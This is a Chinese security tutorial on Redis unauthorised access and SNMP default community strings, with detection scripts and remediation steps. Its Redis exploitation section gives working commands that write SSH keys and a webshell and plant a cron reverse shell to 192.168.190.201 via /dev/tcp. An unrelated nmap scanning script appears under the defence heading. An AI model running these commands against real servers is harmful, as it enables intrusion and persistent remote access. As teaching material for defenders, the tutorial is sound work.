0x01 漏洞原理


目前Redis持久化的方式有两种: RDB 和 AOF
1)RDB
RDB就是Snapshot快照存储,是默认的持久化方式。
可理解为半持久化模式,即按照一定的策略周期性的将数据保存到磁盘。
对应产生的数据文件为dump.rdb,通过配置文件中的save参数来定义快照的周期。
下面是默认的快照设置:

save 900 1 #当有一条Keys数据被改变时,900秒刷新到Disk一次
save 300 10 #当有10条Keys数据被改变时,300秒刷新到Disk一次
save 60 10000 #当有10000条Keys数据被改变时,60秒刷新到Disk一次

可以很明显的看到,RDB有它的不足,就是一旦数据库出现问题,那么我们的RDB文件中保存的数据并不是全新的。
从上次RDB文件生成到Redis停机这段时间的数据全部丢掉了。
2)AOF
Redis会将每一个收到的写命令都通过Write函数追加到文件中,类似于MySQL的binlog。
当Redis重启是会通过重新执行文件中保存的写命令来在内存中重建整个数据库的内容。

其实redis未授权的利用主要是通过config动态修改配置,修改快照存储的文件名称和目录,来实现任意写入文件。

 

0x02 漏洞利用


1)如果ssh端口可以连接,可直接把自己生成的SSH公钥文件写入到user/.ssh的目录下,实现ssh免认证登录。Linux下可以设置SSH免密码登录,方法为使用”公私钥”认证,即首先在客户端上创建一对公私钥 (公钥文件:~/.ssh/id_rsa.pub; 私钥文件:~/.ssh/id_rsa)。然后把公钥放到服务器上(~/.ssh/authorized_keys), 自己保留好私钥.在使用ssh登录时,ssh程序会发送私钥去和服务器上的公钥做匹配.如果匹配成功就可以登录了。

config set dir /root/.ssh/
config set dbfilename authorized_keys
set xxxx "生成的公钥"
save
exit

2)如果ssh端口未开放,可以写到crontab 里执行反弹。
利用方式如下:

echo -e "\n\n* * * * * /bin/bash -i >& /dev/tcp/192.168.190.201/8888 0>&1\n\n"|/usr/local/bin/redis-cli -h 192.168.192.120 -x set 1
/usr/local/bin/redis-cli -h 192.168.192.120 config set dir /var/spool/cron/
/usr/local/bin/redis-cli -h 192.168.192.120 config set dbfilename root
/usr/local/bin/redis-cli -h 192.168.192.120 save

3)针对Web服务如果知道web路径(例如phpinfo)可以直接写shell。

[root@vincent src]# ./redis-cli -h 172.16.100.151
172.16.100.151:6379> config set dir /var/www/html/
OK
172.16.100.151:6379> config set dbfilename redis.php
OK
172.16.100.151:6379> set webshell "<?php phpinfo(); ?>"
OK
172.16.100.151:6379> save
OK

 

0x03 漏洞检测


# -*- coding: utf8 -*-
'''
Description: Redis unauthorised access and weak password vulnerability.
'''
import socket
import sys

def redischeck(ip, port):
    try:
        socket.setdefaulttimeout(2)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send("INFO\r\n")
        result = s.recv(1024)
        if "redis_version" in result:
            return "unauthorised access"
        elif "Authentication" in result:
            for password in PASS_DIC:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((ip, int(port)))
                s.send("AUTH %s\r\n" % (password))
                result = s.recv(1024)
                if '+OK' in result:
                    return "Week Password:%s" % (password)
    except Exception, e:
        print e
        pass
if __name__ == '__main__':
    PASS_DIC = ['admin', 'admin123']
    arg = sys.argv[1]
    if ':' in arg:
        ip = arg.split(':')[0]
        port = arg.split(':')[1]
    else:
        ip = arg
        port = 6379
    print ip, port, redischeck(ip, port)

 

0x04 漏洞防御


1)禁止以Root权限启动redis
2)添加认证requirepass xxxxxxxx
3)如果本地调用则bind 127.0.0.1,如果需要远程访问,则添加iptables限制访问源。

# -*- coding: utf8 -*-
from time import strftime, localtime
from datetime import timedelta, date
import time
import json
import datetime
import sqlite3
import os
import nmap
import sys
reload(sys)
sys.setdefaultencoding( "utf-8" )
def nmapscan(ip):
    nm = nmap.PortScanner()
    nm.scan(hosts=ip,ports='80,3306,9200')
    print nm.scaninfo()
    print nm.command_line() 
    for host in nm.all_hosts():
        for proto in nm[host].all_protocols():
            lport = nm[host][proto].keys()
            lport.sort()
            count_port = len(lport)
            i = 0
            while i < count_port:
                in_port = lport[i]
                if nm[host][proto][in_port]['state'] == 'open':
                    print host + ":" + str(in_port) + " => " + nm[host][proto][in_port]['name']
                i+=1
if __name__ == '__main__':
    start = time.time()
    nmapscan('10.59.0.116')
    end = time.time()
    print "程序执行时间:" + str(int(end - start)) + "s"

执行结果为:
[root@server120 tmp]# python thread.py
{‘tcp’: {‘services’: ‘80,3306,9200’, ‘method’: ‘syn’}}
nmap -oX – -p 80,3306,9200 -sV 10.59.0.116
10.59.0.116:80 => http
10.59.0.116:9200 => wap-wsp
程序执行时间:90s

默认的执行参数如下:
nmap -oX – -p 80,3306,9200 -sV 10.59.0.116
使用-sV会尝试探测端口的服务类型/具体版本等信息,速度慢一些,可以尝试修改nmap参数
nm.scan(hosts=ip,arguments=’-sS -p 80,3306,9200′)
执行结果:
[root@server120 tmp]# python thread.py
{‘tcp’: {‘services’: ‘80,3306,9200’, ‘method’: ‘syn’}}
nmap -oX – -sS -p 80,3306,9200 10.59.0.116
10.59.0.116:80 => http
10.59.0.116:9200 => wap-wsp
程序执行时间:5s
可以看出执行时间缩短了很多

0x01 SNMP介绍


简单网络管理协议(SNMP:Simple Network Management Protocol)是一套网络管理协议,利用SNMP可以远程管理所有支持这种协议的网络设备,包括监视网络状态、修改网络设备配置、接收网络事件警告等。

SNMP版本到目前为止有3个版本,分别是v1、v2、v3。

在SNMP中,我们都应该知道著名的MIB了。MIB给出了一个网络中所有可能的被管理对象的集合的数据结构。SNMP的管理信息库采用和域名系统DNS相似的树型结构,基于对象标识树的,对象标识是一个整数序列,中间以”.”分割。

MIB被划分为若干个组,如system、interfaces、at、ip组等。

这里要提一下MIB中的对象{1.3.6.1.4.1},即enterprises(企业),其所属结点数已超过3000。例如IBM为11.3.6.1.4.1.2},Cisco为{1.3.6.1.4.1.9},Novell为{1.3.6.1.4.1.23}等。世界上任何一个公司、学校只要用电子邮件发往iana-mib@isi.edu进行申请即可获得一个结点名。这样各厂家就可以定义自己的产品的被管理对象名,使它能用SNMP进行管理。

 

0x02 漏洞检测


Nmap插件扫描

[root@server144 ~]# nmap -sU -p 161 --script=snmp-brute 192.168.192.120

Starting Nmap 5.51 ( http://nmap.org ) at 2017-09-08 11:45 CST

Nmap scan report for localhost (192.168.192.120)

Host is up (0.00083s latency).

PORT    STATE SERVICE

161/udp open  snmp

|_snmp-brute: public

MAC Address: 52:54:00:26:BE:A2 (QEMU Virtual NIC)

 

0x03 漏洞利用


Yum安装snmp

yum install -y net-snmp net-snmp-utils

启动snmp服务

service snmpd start

配置文件/etc/snmp/snmpd.conf

#       sec.name  source          community

com2sec notConfigUser  default       public



####

# Second, map the security name into a group name:



#       groupName      securityModel securityName

group   notConfigGroup v1           notConfigUser

group   notConfigGroup v2c           notConfigUser



####

# Third, create a view for us to let the group have rights to:



# Make at least  snmpwalk -v 1 localhost -c public system fast again.

#       name           incl/excl     subtree         mask(optional)

view    systemview    included   .1.3.6.1.2.1.1

view    systemview    included   .1.3.6.1.2.1.25.1.1

可以看到默认的团体名为public

另外可以看到默认可以查看的两个OID是

.1.3.6.1.2.1.1

.1.3.6.1.2.1.25.1.1

其中.1.3.6.1.2.1.1是系统参数

我们使用snmpwalk测试:

snmpwalk  -c SNMP读密码 -v 1或2(代表SNMP版本) IP OID(对象标示符)

这里我们看到.1.3.6.1.2.1.1.1.0是获取系统基本信息,测试一下:

[root@vincent ~]# snmpwalk -v 2c -c public 172.16.100.134 .1.3.6.1.2.1.1.1.0

SNMPv2-MIB::sysDescr.0 = STRING: Linux vincent 2.6.32-642.1.1.el6.x86_64 #1 SMP Tue May 31 21:57:07 UTC 2016 x86_64

也可以不用OID直接用SysDesc获取

[root@vincent ~]# snmpwalk -v 2c -c public 172.16.100.134 SysDesc

SNMPv2-MIB::sysDescr.0 = STRING: Linux vincent 2.6.32-642.1.1.el6.x86_64 #1 SMP Tue May 31 21:57:07 UTC 2016 x86_64

可以看到获取的内容与uname -a的内容一致

但是比如我获取进程.1.3.6.1.2.1.25.4.2.1.2

[root@vincent ~]# snmpwalk -v 2c -c public 172.16.100.134 .1.3.6.1.2.1.25.4.2.1.2

HOST-RESOURCES-MIB::hrSWRunName = No more variables left in this MIB View (It is past the end of the MIB tree)

发现没有办法获取到

因为我们上面提到的默认安装的snmpd允许的两个OID中不包含该OID

我们修改一下配置添加一条

view    systemview    included   .1

然后重启snmpd服务,就可以获取到了

[root@vincent ~]# snmpwalk -v 2c -c public 172.16.100.134 .1.3.6.1.2.1.25.4.2.1.2

HOST-RESOURCES-MIB::hrSWRunName.1 = STRING: "init"

HOST-RESOURCES-MIB::hrSWRunName.2 = STRING: "kthreadd"

HOST-RESOURCES-MIB::hrSWRunName.3 = STRING: "migration/0"

其他常用OID:

[root@vincent ~]# snmpwalk -v 2c -c public 172.16.100.134 ipRouteEntry //路由信息

RFC1213-MIB::ipRouteDest.0.0.0.0 = IpAddress: 0.0.0.0

RFC1213-MIB::ipRouteDest.10.10.10.0 = IpAddress: 10.10.10.0

RFC1213-MIB::ipRouteDest.172.16.100.0 = IpAddress: 172.16.100.0

[root@vincent ~]# snmpwalk -v 2c -c public 172.16.100.134 .1.3.6.1.2.1.4.20  //网卡信息

IP-MIB::ipAdEntAddr.10.10.10.2 = IpAddress: 10.10.10.2

IP-MIB::ipAdEntAddr.127.0.0.1 = IpAddress: 127.0.0.1

IP-MIB::ipAdEntAddr.172.16.100.134 = IpAddress: 172.16.100.134

Windows下使用MIB Browser获取系统信息。

 

0x04 修复建议


[root@server120 ~]# vim /etc/snmp/snmpd.conf

#       sec.name  source          community

com2sec notConfigUser  default       public#修改这里

[root@server120 ~]# service snmpd restart